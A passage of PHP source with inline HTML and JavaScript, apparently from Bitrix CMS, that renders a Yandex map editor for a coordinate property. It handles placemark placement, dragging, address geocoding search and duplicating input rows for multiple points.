<input type="text" style="width:125px;margin:0 0 4px" name="point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat" id="point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat" onchange="setInputPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()" />, <input type="text" style="width:125px;margin:0 15px 4px 0;" name="point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon" id="point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon" onchange="setInputPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()" />
<div id="point_control_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_" style="display:none;margin:0 0 4px"><a href="javascript:void(0);" onclick="findPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()"><?echo GetMessage('IBLOCK_PROP_MAP_YANDEX_GOTO_POINT')?></a> | <a href="javascript:void(0);" onclick="if (confirm('<?echo CUtil::JSEscape(GetMessage('IBLOCK_PROP_MAP_YANDEX_REMOVE_POINT_CONFIRM'))?>')) removePoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()"><?echo GetMessage('IBLOCK_PROP_MAP_YANDEX_REMOVE_POINT')?></a></div><br />
<input type="text" style="display:none;" id="value_<?echo $MAP_ID;?>__n<?=$yandexMapLastNumber?>_" name="<?=htmlspecialcharsbx($strHTMLControlName["VALUE"])?>" value="<?=htmlspecialcharsEx($value["VALUE"])?>" />
<script>
window.jsAdminYandexMess = {
nothing_found: '<?echo CUtil::JSEscape(GetMessage('IBLOCK_PROP_MAP_YANDEX_NOTHING_FOUND'))?>'
}
jsUtils.loadCSSFile('/bitrix/components/bitrix/map.yandex.view/settings/settings.css');
function BXWaitForMap_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()
{
if (!window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'])
setTimeout(BXWaitForMap_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_, 300);
else
{
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_ = null;
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].events.remove('dblclick', window.setPointValue_<?echo $MAP_ID?>);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].events.add('dblclick', window.setPointValue_<?echo $MAP_ID?>);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].events.add('click', window.setDefaultPreset_<?echo $MAP_ID?>);
var searchInput = BX('bx_address_<?echo $MAP_ID?>');
BX.bind(searchInput, "keydown", jsYandexCESearch_<?echo $MAP_ID;?>.setTypingStarted);
BX.bind(searchInput, "contextmenu", jsYandexCESearch_<?echo $MAP_ID;?>.setTypingStarted);
BX('point_control_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_').style.display = 'none';
<?if ($bHasValue):?>
setPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_([<?echo $POINT_LAT?>, <?echo $POINT_LON?>]);
if (<?=$yandexMapLastNumber?> > 0)
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].setBounds(window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.getBounds(), {checkZoomRange: true});
<?endif;?>
BX('bx_address_search_control_<?echo $MAP_ID?>').style.display = 'block';
BX('bx_map_hint_<?echo $MAP_ID?>').style.display = 'block';
}
}
function findPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()
{
if (null != window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_)
{
window.setDefaultPreset_<?echo $MAP_ID?>();
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.geometry.getCoordinates(),{delay:0});
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.options.set({preset: 'twirl#redIcon'});
}
}
function removePoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()
{
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.remove(window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_);
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_ = null;
BX('point_control_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_').style.display = 'none';
updatePointPosition_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_();
updateMapHint_<?echo $MAP_ID?>();
}
function setPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_(obEvent)
{
var obPoint = BX.type.isArray(obEvent) ? obEvent : obEvent.get("coordPosition");
if (null == window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_)
{
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_ = new ymaps.Placemark(obPoint, {}, {draggable:true});
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.add(window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_);
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.events.add('dragend', updatePointPosition_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_);
}
else
{
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.geometry.setCoordinates(obPoint);
}
BX('point_control_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_').style.display = 'inline-block';
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
updatePointPosition_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_(obPoint);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.geometry.getCoordinates(),{delay:0});
}
function setInputPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()
{
var vv = [BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat').value, BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon').value];
if (vv[0] == '' && vv[1] == '')
{
removePoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_();
}
var v = [parseFloat(BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat').value), parseFloat(BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon').value)];
if (!isNaN(v[0]) && !isNaN(v[1]))
{
setPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_(v);
}
}
function updatePointPosition_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_(obPoint)
{
//var obPosition = obPoint.getGeoPoint();
if (!!obPoint && !!obPoint.geometry)
obPoint = obPoint.geometry.getCoordinates();
else if (!!window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_)
obPoint = window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.geometry.getCoordinates();
else
obPoint = null;
var obInput = BX('value_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_');
obInput.value = null == obPoint ? '' : obPoint[0] + ',' + obPoint[1];
BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat').value = obPoint ? obPoint[0] : '';
BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon').value = obPoint ? obPoint[1] : '';
}
BX.ready(function(){
setTimeout(BXWaitForMap_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_, 100);
});
var jsYandexCESearch_<?echo $MAP_ID;?> = {
bInited: false,
map: null,
geocoder: null,
obInput: null,
timerID: null,
timerDelay: 1000,
arSearchResults: [],
strLastSearch: null,
obOut: null,
__init: function(input)
{
if (jsYandexCESearch_<?echo $MAP_ID;?>.bInited) return;
jsYandexCESearch_<?echo $MAP_ID;?>.map = window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'];
jsYandexCESearch_<?echo $MAP_ID;?>.obInput = input;
input.onfocus = jsYandexCESearch_<?echo $MAP_ID;?>.showResults;
input.onblur = jsYandexCESearch_<?echo $MAP_ID;?>.hideResults;
jsYandexCESearch_<?echo $MAP_ID;?>.bInited = true;
},
setTypingStarted: function(e)
{
if (null == e)
e = window.event;
jsYandexCESearch_<?echo $MAP_ID;?>.hideResults();
if (e.keyCode == 13 )
{
jsYandexCESearch_<?echo $MAP_ID;?>.doSearch();
return false;
}
else
{
if (!jsYandexCESearch_<?echo $MAP_ID;?>.bInited)
jsYandexCESearch_<?echo $MAP_ID;?>.__init(this);
if (e.type=="contextmenu")
jsYandexCESearch_<?echo $MAP_ID;?>.timerDelay=3000;
else
jsYandexCESearch_<?echo $MAP_ID;?>.timerDelay=1000;
if (null != jsYandexCESearch_<?echo $MAP_ID;?>.timerID)
clearTimeout(jsYandexCESearch_<?echo $MAP_ID;?>.timerID);
jsYandexCESearch_<?echo $MAP_ID;?>.timerID = setTimeout(jsYandexCESearch_<?echo $MAP_ID;?>.doSearch, jsYandexCESearch_<?echo $MAP_ID;?>.timerDelay);
}
},
doSearch: function()
{
this.strLastSearch = jsUtils.trim(jsYandexCESearch_<?echo $MAP_ID;?>.obInput.value);
if (this.strLastSearch.length > 1)
{
ymaps.geocode(this.strLastSearch).then(
jsYandexCESearch_<?echo $MAP_ID;?>.__searchResultsLoad,
jsYandexCESearch_<?echo $MAP_ID;?>.handleError
);
}
},
handleError: function(error)
{
alert(this.jsMess.mess_error + ': ' + error.message);
},
setResultsCoordinates: function()
{
var obPos = jsUtils.GetRealPos(jsYandexCESearch_<?echo $MAP_ID;?>.obInput);
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.style.top = (obPos.bottom + 2) + 'px';
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.style.left = obPos.left + 'px';
},
__generateOutput: function()
{
jsYandexCESearch_<?echo $MAP_ID;?>.obOut = document.body.appendChild(document.createElement('UL'));
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.className = 'bx-yandex-address-search-results';
},
__searchResultsLoad: function(res)
{
var _this = jsYandexCESearch_<?echo $MAP_ID;?>;
if (null == _this.obOut)
_this.__generateOutput();
_this.obOut.innerHTML = '';
_this.clearSearchResults();
var len = res.geoObjects.getLength();
if (len > 0)
{
for (var i = 0; i < len; i++)
{
_this.arSearchResults[i] = res.geoObjects.get(i);
var obListElement = document.createElement('LI');
if (i == 0)
obListElement.className = 'bx-yandex-first';
var obLink = document.createElement('A');
obLink.href = "javascript:void(0)";
var obText = obLink.appendChild(document.createElement('SPAN'));
obText.appendChild(document.createTextNode(
jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults[i].properties.get('metaDataProperty').GeocoderMetaData.text
));
obLink.BXSearchIndex = i;
obLink.onclick = _this.__showSearchResult;
obListElement.appendChild(obLink);
_this.obOut.appendChild(obListElement);
}
}
else
{
//var str = _this.jsMess.mess_search_empty;
_this.obOut.innerHTML = '<li class="bx-yandex-notfound">' + window.jsAdminYandexMess.nothing_found + '</li>';
}
_this.showResults();
},
__showSearchResult: function()
{
if (null !== this.BXSearchIndex)
{
var bounds = jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults[this.BXSearchIndex].properties.get('boundedBy');
jsYandexCESearch_<?echo $MAP_ID;?>.map.setBounds(bounds, { checkZoomRange: true });
}
},
showResults: function()
{
if(this.strLastSearch!=jsUtils.trim(jsYandexCESearch_<?echo $MAP_ID;?>.obInput.value))
jsYandexCESearch_<?echo $MAP_ID;?>.doSearch();
if (null != jsYandexCESearch_<?echo $MAP_ID;?>.obOut)
{
jsYandexCESearch_<?echo $MAP_ID;?>.setResultsCoordinates();
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.style.display = 'block';
}
},
hideResults: function()
{
if (null != jsYandexCESearch_<?echo $MAP_ID;?>.obOut)
{
setTimeout("jsYandexCESearch_<?echo $MAP_ID;?>.obOut.style.display = 'none'", 300);
}
},
clearSearchResults: function()
{
for (var i = 0; i < jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults.length; i++)
{
delete jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults[i];
}
jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults = [];
},
clear: function()
{
if (!jsYandexCESearch_<?echo $MAP_ID;?>.bInited)
return;
jsYandexCESearch_<?echo $MAP_ID;?>.bInited = false;
if (null != jsYandexCESearch_<?echo $MAP_ID;?>.obOut)
{
jsYandexCESearch_<?echo $MAP_ID;?>.obOut.parentNode.removeChild(jsYandexCESearch_<?echo $MAP_ID;?>.obOut);
jsYandexCESearch_<?echo $MAP_ID;?>.obOut = null;
}
jsYandexCESearch_<?echo $MAP_ID;?>.arSearchResults = [];
jsYandexCESearch_<?echo $MAP_ID;?>.map = null;
jsYandexCESearch_<?echo $MAP_ID;?>.geocoder = null;
jsYandexCESearch_<?echo $MAP_ID;?>.obInput = null;
jsYandexCESearch_<?echo $MAP_ID;?>.timerID = null;
}
}
</script>
<?
$out = ob_get_contents();
ob_end_clean();
if ($arProperty['MULTIPLE'] == 'Y')
$yandexMapLastNumber++;
return $out;
}
public static function GetPublicEditHTML($arProperty, $value, $strHTMLControlName)
{
global $APPLICATION;
static $yandexMapLastNumber = 0;
static $yandexMapID = '';
if (($arProperty['MULTIPLE'] == 'Y' && $yandexMapID !== $arProperty['ID']) || $arProperty['MULTIPLE'] == 'N')
$yandexMapLastNumber = 0;
if ($arProperty['MULTIPLE'] == 'Y')
$yandexMapID = $arProperty['ID'];
if (strlen($value['VALUE']) > 0)
{
list($POINT_LAT, $POINT_LON) = explode(',', $value['VALUE'], 2);
$bHasValue = true;
}
else
{
$POINT_LAT = doubleval(GetMessage('IBLOCK_PROP_MAP_YANDEX_INIT_LAT'));
$POINT_LON = doubleval(GetMessage('IBLOCK_PROP_MAP_YANDEX_INIT_LON'));
$bHasValue = false;
}
ob_start();?>
<div>
<?
if ($arProperty['MULTIPLE'] == 'Y' && isset($GLOBALS['YANDEX_MAP_PROPERTY'][$arProperty['ID']]))
{
$MAP_ID = $GLOBALS['YANDEX_MAP_PROPERTY'][$arProperty['ID']];
}
else
{
$MAP_ID = 'map_yandex_'.$arProperty['CODE'].'_'.$arProperty['ID'];
$GLOBALS['YANDEX_MAP_PROPERTY'][$arProperty['ID']] = $MAP_ID;
?>
<div id="bx_map_hint_<?echo $MAP_ID?>" style="display: none;">
<div id="bx_map_hint_value_<?echo $MAP_ID?>" style="display: <?echo $bHasValue ? 'block' : 'none'?>;">
<?
echo GetMessage('IBLOCK_PROP_MAP_YANDEX_INSTR_VALUE').'<br /><br />';
?>
</div>
<div id="bx_map_hint_novalue_<?echo $MAP_ID?>" style="display: <?echo $bHasValue ? 'none' : 'block'?>;">
<?
echo GetMessage('IBLOCK_PROP_MAP_YANDEX_INSTR').'<br /><br />';
?>
</div>
</div>
<?
$APPLICATION->IncludeComponent(
'bitrix:map.yandex.system',
'',
array(
'INIT_MAP_TYPE' => 'MAP',
'INIT_MAP_LON' => $POINT_LON ? $POINT_LON : 37.64,
'INIT_MAP_LAT' => $POINT_LAT ? $POINT_LAT : 55.76,
'INIT_MAP_SCALE' => 10,
'OPTIONS' => array('ENABLE_SCROLL_ZOOM', 'ENABLE_DRAGGING'),
'CONTROLS' => array('ZOOM', 'MINIMAP', 'TYPECONTROL', 'SCALELINE'),
'MAP_WIDTH' => 450,
'MAP_HEIGHT' => 400,
'MAP_ID' => $MAP_ID,
'DEV_MODE' => 'Y'
),
false, array('HIDE_ICONS' => 'Y')
);
?>
<script type="text/javascript">
BX.ready(function(){
var tabArea = BX.findParent(BX("BX_YMAP_<?=$MAP_ID?>"), {className: "adm-detail-content"});
if (tabArea && tabArea.id)
{
var tabButton = BX("tab_cont_" + tabArea.id);
BX.bind(tabButton, "click", function() { BXMapYandexAfterShow("<?=$MAP_ID?>"); });
}
});
<?if($arProperty['MULTIPLE'] == 'N'):?>
function setPointValue_<?echo $MAP_ID?>(obEvent)
{
var obPoint = BX.type.isArray(obEvent) ? obEvent : obEvent.get("coordPosition");
if (null == window.obPoint_<?echo $MAP_ID?>__n0_)
{
window.obPoint_<?echo $MAP_ID?>__n0_ = new ymaps.Placemark(obPoint, {}, {draggable:true});
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.add(window.obPoint_<?echo $MAP_ID?>__n0_);
window.obPoint_<?echo $MAP_ID?>__n0_.events.add('dragend', updatePointPosition_<?echo $MAP_ID?>__n0_);
}
else
{
window.obPoint_<?echo $MAP_ID?>__n0_.geometry.setCoordinates(obPoint);
}
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
BX('point_control_<?echo $MAP_ID?>__n0_').style.display = 'inline-block';
updatePointPosition_<?echo $MAP_ID?>__n0_(obPoint);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(obPoint_<?echo $MAP_ID?>__n0_.geometry.getCoordinates(), {delay:0});
}
<?else:?>
function setPointValue_<?echo $MAP_ID?>(obEvent)
{
var obPoint = BX.type.isArray(obEvent) ? obEvent : obEvent.get("coordPosition");
var i = 0, point = [], k = [];
while (BX('point_<?echo $MAP_ID?>__n' + i + '_lat'))
{
if(BX('point_<?echo $MAP_ID?>__n' + i + '_lat').value == ''
&& BX('point_<?echo $MAP_ID?>__n' + i + '_lon')
&& BX('point_<?echo $MAP_ID?>__n' + i + '_lon').value == '')
{
k.push(i);
}
i++;
}
if (k.length <= 1)
{
BX('point_<?echo $MAP_ID?>__n0_lat').parentNode.parentNode.id = '<?echo $MAP_ID?>';
addNewRow_<?echo $MAP_ID?>(BX('point_<?echo $MAP_ID?>__n0_lat').parentNode.parentNode.id);
}
k = (k.length) ? Math.min.apply(null, k) : i;
var obPnt = 'obPoint_<?echo $MAP_ID?>__n'+k+'_',
updPP = 'updatePointPosition_<?echo $MAP_ID?>__n'+k+'_';
if(window[updPP])
{
window[obPnt] = null;
window[obPnt] = new ymaps.Placemark(obPoint, {}, {draggable:true});
window.GLOBAL_arMapObjects["<?echo $MAP_ID?>"].geoObjects.add(window[obPnt]);
window[obPnt].events.add("dragend", window[updPP]);
window[updPP](obPoint);
}
BX('point_control_<?echo $MAP_ID?>__n'+k+'_').style.display = 'inline-block';
updateMapHint_<?echo $MAP_ID?>();
}
<?endif;?>
function addNewRow_<?echo $MAP_ID?>(tdID, row_to_clone)
{
var TD = document.getElementById(tdID);
var cnt = BX.findChildren(TD, {tag : 'DIV'}, false).length;
var sHTML = BX.findChildren(TD, {tag : 'DIV'}, false)[cnt-1].innerHTML;
var oDiv = TD.appendChild(document.createElement('div'));
oDiv.parentNode.appendChild(document.createElement('br'));
var s, e, n, p;
p = 0;
while(true)
{
s = sHTML.indexOf('[n',p);
if(s<0)break;
e = sHTML.indexOf(']',s);
if(e<0)break;
n = parseInt(sHTML.substr(s+2,e-s));
sHTML = sHTML.substr(0, s)+'[n'+(++n)+']'+sHTML.substr(e+1);
p=s+1;
}
p = 0;
while(true)
{
s = sHTML.indexOf('__n',p);
if(s<0)break;
e = sHTML.indexOf('_',s+2);
if(e<0)break;
n = parseInt(sHTML.substr(s+3,e-s));
sHTML = sHTML.substr(0, s)+'__n'+(++n)+'_'+sHTML.substr(e+1);
p=e+1;
}
p = 0;
while(true)
{
s = sHTML.indexOf('__N',p);
if(s<0)break;
e = sHTML.indexOf('__',s+2);
if(e<0)break;
n = parseInt(sHTML.substr(s+3,e-s));
sHTML = sHTML.substr(0, s)+'__N'+(++n)+'__'+sHTML.substr(e+2);
p=e+2;
}
oDiv.innerHTML = sHTML;
var inputName = document.getElementById('value_<?echo $MAP_ID;?>__n<?=$yandexMapLastNumber?>_').name;
p = 0;
s = inputName.indexOf('][',p);
e = inputName.indexOf(']',s+1);
inputName = inputName.substr(0, s)+']['+(++n)+']'+inputName.substr(e+1);
document.getElementById('value_<?echo $MAP_ID;?>__n' + --n + '_').name = inputName;
var patt = new RegExp ("<"+"script"+">[^\000]*?<"+"\/"+"script"+">", "ig");
var code = sHTML.match(patt);
if(code)
{
for(var i = 0; i < code.length; i++)
{
if(code[i] != '')
{
s = code[i].substring(8, code[i].length-9);
jsUtils.EvalGlobal(s);
}
}
}
if (BX && BX.adminPanel)
{
BX.adminPanel.modifyFormElements(oDiv);
BX.onCustomEvent('onAdminTabsChange');
}
setTimeout(function() {
var r = BX.findChildren(oDiv, {tag: /^(input|select|textarea)$/i});
if (r && r.length > 0)
{
for (var i=0,l=r.length;i<l;i++)
{
if (r[i].form && r[i].form.BXAUTOSAVE)
r[i].form.BXAUTOSAVE.RegisterInput(r[i]);
else
break;
}
}
}, 10);
}
function setDefaultPreset_<?echo $MAP_ID?>()
{
if(window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects)
{
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.each(function (geoObject) {
geoObject.options.set({preset: 'twirl#blueIcon'});
});
}
}
function updateMapHint_<?echo $MAP_ID?>()
{
var noValue = true,
i = 0;
while (BX('point_<?echo $MAP_ID?>__n' + i + '_lat'))
{
if (BX('point_<?echo $MAP_ID?>__n' + i + '_lat').value !== '' || !BX('point_<?echo $MAP_ID?>__n' + i + '_lon') || BX('point_<?echo $MAP_ID?>__n' + i + '_lon').value !=='')
noValue = false;
i++;
}
if (noValue)
{
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'block';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'none';
}
else
{
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
}
}
</script>
<div id="bx_address_search_control_<?echo $MAP_ID?>" style="display: none;margin-top:15px;"><?echo GetMessage('IBLOCK_PROP_MAP_YANDEX_SEARCH')?><input type="text" name="bx_address_<?echo $MAP_ID?>" id="bx_address_<?echo $MAP_ID?>" value="" style="width: 300px;" autocomplete="off" /></div>
<br />
<?
}
?>
<input type="text" style="width:125px;margin:0 0 4px" name="point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat" id="point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat" onchange="setInputPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()" />, <input type="text" style="width:125px;margin:0 15px 4px 0;" name="point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon" id="point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon" onchange="setInputPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()" />
<div id="point_control_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_" style="display:none;margin:0 0 4px;font-size: 12px"><a href="javascript:void(0);" onclick="findPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()"><?echo GetMessage('IBLOCK_PROP_MAP_YANDEX_GOTO_POINT')?></a> | <a href="javascript:void(0);" onclick="if (confirm('<?echo CUtil::JSEscape(GetMessage('IBLOCK_PROP_MAP_YANDEX_REMOVE_POINT_CONFIRM'))?>')) removePoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()"><?echo GetMessage('IBLOCK_PROP_MAP_YANDEX_REMOVE_POINT')?></a></div><br />
<input type="text" style="display:none;" id="value_<?echo $MAP_ID;?>__n<?=$yandexMapLastNumber?>_" name="<?=htmlspecialcharsbx($strHTMLControlName["VALUE"])?>" value="<?=htmlspecialcharsEx($value["VALUE"])?>" />
<script>
window.jsAdminYandexMess = {
nothing_found: '<?echo CUtil::JSEscape(GetMessage('IBLOCK_PROP_MAP_YANDEX_NOTHING_FOUND'))?>'
}
jsUtils.loadCSSFile('/bitrix/components/bitrix/map.yandex.view/settings/settings.css');
function BXWaitForMap_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()
{
if (!window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'])
setTimeout(BXWaitForMap_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_, 300);
else
{
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_ = null;
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].events.remove('dblclick', window.setPointValue_<?echo $MAP_ID?>);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].events.add('dblclick', window.setPointValue_<?echo $MAP_ID?>);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].events.add('click', window.setDefaultPreset_<?echo $MAP_ID?>);
var searchInput = BX('bx_address_<?echo $MAP_ID?>');
BX.bind(searchInput, "keydown", jsYandexCESearch_<?echo $MAP_ID;?>.setTypingStarted);
BX.bind(searchInput, "contextmenu", jsYandexCESearch_<?echo $MAP_ID;?>.setTypingStarted);
BX('point_control_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_').style.display = 'none';
<?if ($bHasValue):?>
setPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_([<?echo $POINT_LAT?>, <?echo $POINT_LON?>]);
if (<?=$yandexMapLastNumber?> > 0)
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].setBounds(window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.getBounds(), {checkZoomRange: true});
<?endif;?>
BX('bx_address_search_control_<?echo $MAP_ID?>').style.display = 'block';
BX('bx_map_hint_<?echo $MAP_ID?>').style.display = 'block';
}
}
function findPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()
{
if (null != window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_)
{
window.setDefaultPreset_<?echo $MAP_ID?>();
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.geometry.getCoordinates(),{delay:0});
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.options.set({preset: 'twirl#redIcon'});
}
}
function removePoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()
{
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.remove(window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_);
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_ = null;
BX('point_control_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_').style.display = 'none';
updatePointPosition_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_();
updateMapHint_<?echo $MAP_ID?>();
}
function setPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_(obEvent)
{
var obPoint = BX.type.isArray(obEvent) ? obEvent : obEvent.get("coordPosition");
if (null == window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_)
{
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_ = new ymaps.Placemark(obPoint, {}, {draggable:true});
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].geoObjects.add(window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_);
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.events.add('dragend', updatePointPosition_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_);
}
else
{
window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.geometry.setCoordinates(obPoint);
}
BX('point_control_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_').style.display = 'inline-block';
BX('bx_map_hint_novalue_<?echo $MAP_ID?>').style.display = 'none';
BX('bx_map_hint_value_<?echo $MAP_ID?>').style.display = 'block';
updatePointPosition_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_(obPoint);
window.GLOBAL_arMapObjects['<?echo $MAP_ID?>'].panTo(obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.geometry.getCoordinates(),{delay:0});
}
function setInputPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_()
{
var vv = [BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat').value, BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon').value];
if (vv[0] == '' && vv[1] == '')
{
removePoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_();
}
var v = [parseFloat(BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat').value), parseFloat(BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon').value)];
if (!isNaN(v[0]) && !isNaN(v[1]))
{
setPointValue_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_(v);
}
}
function updatePointPosition_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_(obPoint)
{
if (!!obPoint && !!obPoint.geometry)
obPoint = obPoint.geometry.getCoordinates();
else if (!!window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_)
obPoint = window.obPoint_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_.geometry.getCoordinates();
else
obPoint = null;
var obInput = BX('value_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_');
obInput.value = null == obPoint ? '' : obPoint[0] + ',' + obPoint[1];
BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lat').value = obPoint ? obPoint[0] : '';
BX('point_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_lon').value = obPoint ? obPoint[1] : '';
}
BX.ready(function(){
setTimeout(BXWaitForMap_<?echo $MAP_ID?>__n<?=$yandexMapLastNumber?>_, 100);
});
